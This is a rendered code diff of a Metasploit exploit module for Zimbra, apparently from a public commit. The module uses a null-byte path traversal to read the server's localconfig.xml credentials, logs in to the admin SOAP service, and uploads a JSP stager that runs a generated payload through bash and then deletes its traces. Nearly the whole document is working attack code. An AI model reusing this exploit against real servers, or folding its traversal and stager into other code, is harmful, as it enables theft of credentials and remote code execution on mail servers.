4
4
##
5
5
6
6
require 'msf/core'
7
- require 'uri'
8
-
7
+ require 'rexml/document'
9
8
10
9
class Metasploit3 < Msf ::Exploit ::Remote
11
10
12
11
include Msf ::Exploit ::Remote ::HttpClient
13
12
include Msf ::Exploit ::EXE
13
+ include REXML
14
14
15
15
Rank = GreatRanking
16
16
@@ -46,6 +46,10 @@ def initialize(info = {})
46
46
}
47
47
] ,
48
48
] ,
49
+ 'DefaultOptions' =>
50
+ {
51
+ 'SSL' => true
52
+ } ,
49
53
'DefaultTarget' => 0 ,
50
54
'DisclosureDate' => "Dec 06 2013"
51
55
) )
@@ -56,18 +60,21 @@ def initialize(info = {})
56
60
57
61
register_advanced_options (
58
62
[
59
- OptBool . new ( 'SSL' , [ true , 'Negotiate SSL for outgoing connections' , true ] ) ,
60
63
OptString . new ( 'ALTDIR' , [ false , 'Alternative zimbraAdmin directory' , "zimbraAdmin" ] )
61
64
] )
62
65
end
63
66
64
67
def check
65
68
uri = target_uri . path
66
- turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
67
- #doesnt want to play nice if used with vars_get
69
+
68
70
res = send_request_cgi ( {
69
- 'uri' => normalize_uri ( uri , datastore [ 'ALTDIR' ] , turl ) ,
71
+ 'uri' => normalize_uri ( uri , datastore [ 'ALTDIR' ] , "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz" ) ,
70
72
'method' => 'GET' ,
73
+ 'encode_params' => false ,
74
+ 'vars_get' => {
75
+ 'v' => "091214175450" ,
76
+ 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
77
+ }
71
78
} )
72
79
73
80
unless res and res . code == 200
@@ -90,11 +97,15 @@ def check
90
97
91
98
def exploit
92
99
uri = target_uri . path
93
- turl = "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
94
- #doesnt want to play nice if used with vars_get
100
+
95
101
res = send_request_cgi ( {
96
- 'uri' => normalize_uri ( uri , datastore [ 'ALTDIR' ] , turl ) ,
97
- 'method' => 'GET'
102
+ 'uri' => normalize_uri ( uri , datastore [ 'ALTDIR' ] , "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz" ) ,
103
+ 'method' => 'GET' ,
104
+ 'encode_params' => false ,
105
+ 'vars_get' => {
106
+ 'v' => "091214175450" ,
107
+ 'skin' => "../../../../../../../../../opt/zimbra/conf/localconfig.xml%00"
108
+ }
98
109
} )
99
110
100
111
unless res and res . code == 200
@@ -124,9 +135,7 @@ def exploit
124
135
print_good ( "#{ peer } - Got login credentials!" )
125
136
print_status ( "#{ peer } - Getting auth token..." )
126
137
127
- soap_req = "<?xml version=\" 1.0\" encoding=\" UTF-8\" ?>"
128
- soap_req << "<env:Envelope xmlns:env=\" http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\" urn:zimbraAdmin\" xmlns:ns2=\" urn:zimbraAdmin\" ><env:Header><ns2:context/>"
129
- soap_req << "</env:Header><env:Body><ns1:AuthRequest><account by=\" name\" >#{ zimbra_user } </account><password>#{ zimbra_pass } </password></ns1:AuthRequest></env:Body></env:Envelope>"
138
+ soap_req = build_soap_req ( zimbra_user , zimbra_pass ) #lets get our hands foamy
130
139
131
140
res = send_request_cgi ( {
132
141
'uri' => normalize_uri ( uri , "/service/admin/soap" ) ,
@@ -140,6 +149,7 @@ def exploit
140
149
} )
141
150
142
151
unless res and res . code == 200
152
+ print_status res . body
143
153
fail_with ( Failure ::Unknown , "#{ peer } - Unable to access service URL" )
144
154
end
145
155
@@ -165,7 +175,6 @@ def exploit
165
175
dpayload = generate_payload_exe
166
176
167
177
#upload payload
168
-
169
178
print_status ( "#{ peer } - Uploading .JSP stager and payload" )
170
179
post_data = Rex ::MIME ::Message . new
171
180
post_data . add_part ( "#{ payload_name } " , nil , nil , "form-data; name=\" filename1\" " )
@@ -218,6 +227,46 @@ def exploit
218
227
} )
219
228
end
220
229
230
+ def build_soap_req ( zimbra_user , zimbra_pass )
231
+ xml = Document . new
232
+ soap_var = "ns1:AuthRequest"
233
+
234
+ xml . add_element (
235
+ "soapenv:Envelope" ,
236
+ {
237
+ 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance" ,
238
+ 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema" ,
239
+ 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/" ,
240
+ 'xmlns:ser' => "http://service.emulation.ws.mercury.com" ,
241
+ 'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope" ,
242
+ 'xmlns:ns1' => "urn:zimbraAdmin" ,
243
+ 'xmlns:ns2' => "urn:zimbraAdmin" ,
244
+ } )
245
+
246
+ xml . root . add_element ( "soapenv:Header" )
247
+ xml . root . add_element ( "soapenv:Body" )
248
+
249
+ header = xml . root . elements [ 1 ]
250
+ body = xml . root . elements [ 2 ]
251
+
252
+ header . add_element ( "ns2:context" )
253
+ body . add_element ( "ns1:AuthRequest" )
254
+
255
+ ns1 = body . elements [ 1 ]
256
+ ns1 . add_element (
257
+ "account" ,
258
+ {
259
+ 'by' => "name"
260
+ } )
261
+
262
+ ns1 . add_element ( "password" )
263
+
264
+ ns1 . elements [ "account" ] . text = "#{ zimbra_user } "
265
+ ns1 . elements [ "password" ] . text = "#{ zimbra_pass } "
266
+
267
+ return xml . to_s
268
+ end
269
+
221
270
def gen_stager ( payload_name )
222
271
stager = "<%@ page import=\" java.util.*,java.io.*\" %>"
223
272
stager += " <%"
@@ -228,6 +277,7 @@ def gen_stager(payload_name)
228
277
stager += " Runtime.getRuntime().exec(\" chmod 700 \" + payload);"
229
278
stager += " Runtime.getRuntime().exec(\" bash -c '\" + payload + \" '\" );"
230
279
stager += " Runtime.getRuntime().exec(\" rm \" + jspfile);"
280
+ stager += " Runtime.getRuntime().exec(\" rm \" + payload);"
231
281
stager += "%>"
232
282
return stager
233
283
end
0 commit comments